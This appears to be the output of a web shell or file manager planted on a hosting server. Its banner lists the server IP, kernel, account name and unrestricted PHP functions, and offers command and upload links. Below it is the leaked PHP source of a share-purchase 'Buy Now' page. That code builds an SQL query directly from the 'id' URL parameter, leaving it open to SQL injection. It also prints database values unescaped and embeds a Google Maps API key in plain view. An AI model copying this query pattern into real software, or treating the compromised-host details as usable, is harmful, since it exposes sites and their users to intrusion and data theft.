|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/masterfin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php session_start(); ?>
<!DOCTYPE html>
<html>
<?php require "inc/head.php"; ?>
<body>
<div class="page-wrapper">
<!-- Preloader -->
<!-- <div class="preloader"></div> -->
<!-- Main Header-->
<?php require "inc/header.php"; ?>
<!--End Main Header -->
<!--Page Title-->
<section class="page-title" style="background-image:url(images/background/8.jpg)">
<div class="auto-container">
<div class="content">
<h1>Buy <span>Now</span></h1>
<ul class="page-breadcrumb">
<li><a href="index.php">Home</a></li>
<li>Buy Now</li>
</ul>
</div>
</div>
</section>
<!--End Page Title-->
<!-- Contact Page Section -->
<?php
$id = $_GET['id'];
$query = "SELECT * FROM shares WHERE id='$id'";
$query_run = mysqli_query($conn, $query);
if (mysqli_num_rows($query_run) > 0) {
foreach ($query_run as $row) {
?>
<section class="contact-page-section">
<div class="auto-container">
<div class="inner-container">
<h2><?php echo $row['share_name']; ?></h2>
<h4>Price: <i class="fa fa-rupee"></i> <span id="sharePrice"><?php echo $row['share_price']; ?></span></h4>
<div class="row clearfix">
<div class="form-column col-lg-7 col-md-12 col-sm-12">
<div class="inner-column">
<div class="contact-form">
<form method="post" action="" id="contact-form">
<div class="form-group">
<div class="input-group">
<div class="input-group-prepend">
<button type="button" class="btn btn-danger" onclick="updateQuantity(-1)" style="height:44px; margin-top: 0px;">-</button>
</div>
<input type="text" id="quantity" name="quantity" class="form-control text-center" value="1" style="width: 87%;" readonly>
<div class="input-group-append">
<button type="button" class="btn btn-success" onclick="updateQuantity(1)" style="height:44px; margin-top: 0px;">+</button>
</div>
</div>
</div>
<div class="form-group">
<label for="grandTotal">Grand Total</label>
<input type="text" id="grandTotal" name="grandTotal" value="<?php echo $row['share_price']; ?>" readonly>
</div>
<!-- Add the Select button -->
<div class="form-group">
<button type="button" class="theme-btn" onclick="openPopup()">Select</button>
</div>
</form>
</div>
</div>
</div>
<div class="info-column col-lg-5 col-md-12 col-sm-12">
<img src="images/resource/pay.jpeg" class="payy" alt="">
</div>
</div>
</div>
</div>
</section>
<div id="popupForm" class="popup-form" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true" style="display: none;">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Enquiry Form</h5>
<!-- <img src="images/logo.png" class="hlo" alt="img"> -->
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<!-- id="contactForm1 -->
<form action="add_form.php" method="POST">
<div class="custom-form-container">
<div class="row">
<div class="col-md-6 mt-2">
<input type="text" class="form-control custom-input" name="name" placeholder="Name">
</div>
<div class="col-md-6 mt-2">
<input type="email" class="form-control custom-input" name="email" placeholder="Email" required>
</div>
<div class="col-md-12 mt-2">
<input type="number" class="form-control custom-input" name="phone" placeholder="Phone" >
</div>
<div class="col-md-6 mt-2">
<input type="hidden" id="shareQuantity" class="form-control custom-input" name="shareQuantity" readonly>
</div>
<input type="hidden" id="shareName" name="shareName" readonly value="<?php echo $row['share_name']; ?>">
<input type="hidden" id="formGrandTotal" name="grandTotal" readonly>
<div class="col-md-12 ">
<input type="text" class="form-control custom-input" name="subject" placeholder="Subject">
</div>
<div class="col-md-12 mt-2">
<textarea name="msg" class="form-control custom-textarea" placeholder="Message"></textarea>
</div>
<div class="col-md-12 mt-4 text-center">
<button type="submit" name="add_form" class="btn btn-primary custom-btn send_message">Send</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<style>
/* Custom styles for the form */
.custom-form-container {
/* background: linear-gradient(149deg, #ed0606, #00800075); */
background: gray;
padding: 20px;
border-radius: 10px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.1);
}
.custom-input, .custom-select, .custom-textarea {
border: 1px solid #ccc;
border-radius: 8px;
padding: 12px;
background-color: #fff;
transition: all 0.3s ease;
outline: none;
line-height: 25px;
width: 100%;
height: 46px;
}
.custom-input:focus, .custom-select:focus, .custom-textarea:focus {
border-color: #007bff;
box-shadow: 0 0 8px rgba(0, 123, 255, 0.2);
}
.custom-textarea {
height: 100px;
resize: none;
}
.custom-btn {
background-color: #007bff;
border: none;
padding: 10px 30px;
border-radius: 25px;
font-size: 16px;
transition: background-color 0.3s ease;
}
.custom-btn:hover {
background-color: #0056b3;
}
/* Adding animation */
.modal-content {
animation: slideIn 0.5s ease-out;
}
@keyframes slideIn {
from {
transform: translateY(50px);
opacity: 0;
}
to {
transform: translateY(0);
opacity: 1;
}
}
/* Responsive styling */
@media (max-width: 768px) {
.custom-input, .custom-select, .custom-textarea {
font-size: 14px;
}
.custom-btn {
font-size: 14px;
padding: 8px 20px;
}
.hlo {
width: 143px;
height: 69px;
margin-left: 3px;
margin-top: -15px;
margin-bottom: -11px;
align-items: center;
}
}
</style>
<!-- JavaScript for Quantity Update, Grand Total, and Popup -->
<script>
function updateQuantity(change) {
let quantityInput = document.getElementById("quantity");
let totalInput = document.getElementById("grandTotal");
let sharePrice = parseFloat(document.getElementById("sharePrice").textContent);
let quantity = parseInt(quantityInput.value);
quantity += change;
if (quantity < 1) quantity = 1; // Prevent quantity from going below 1
quantityInput.value = quantity;
totalInput.value = (quantity * sharePrice).toFixed(2); // Update Grand Total
}
function openPopup() {
// Set the values in the popup form
document.getElementById("shareQuantity").value = document.getElementById("quantity").value;
document.getElementById("formGrandTotal").value = document.getElementById("grandTotal").value;
// Display the popup
document.getElementById("popupForm").style.display = "block";
}
function closePopup() {
// Close the popup
document.getElementById("popupForm").style.display = "none";
}
</script>
<?php }} ?>
<!--Main Footer-->
<?php require "inc/footer.php"; ?>
</div>
<!--End pagewrapper-->
<script src="js/jquery.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="js/jquery.fancybox.js"></script>
<script src="js/appear.js"></script>
<script src="js/owl.js"></script>
<script src="js/wow.js"></script>
<script src="js/validate.js"></script>
<script src="js/jquery-ui.js"></script>
<script src="js/main.js"></script>
<!--Google Map APi Key-->
<script src="http://maps.google.com/maps/api/js?key=AIzaSyDTPlX-43R1TpcQUyWjFgiSfL_BiGxslZU"></script>
<script src="js/map-script.js"></script>
<!--End Google Map APi-->
</body>
</html>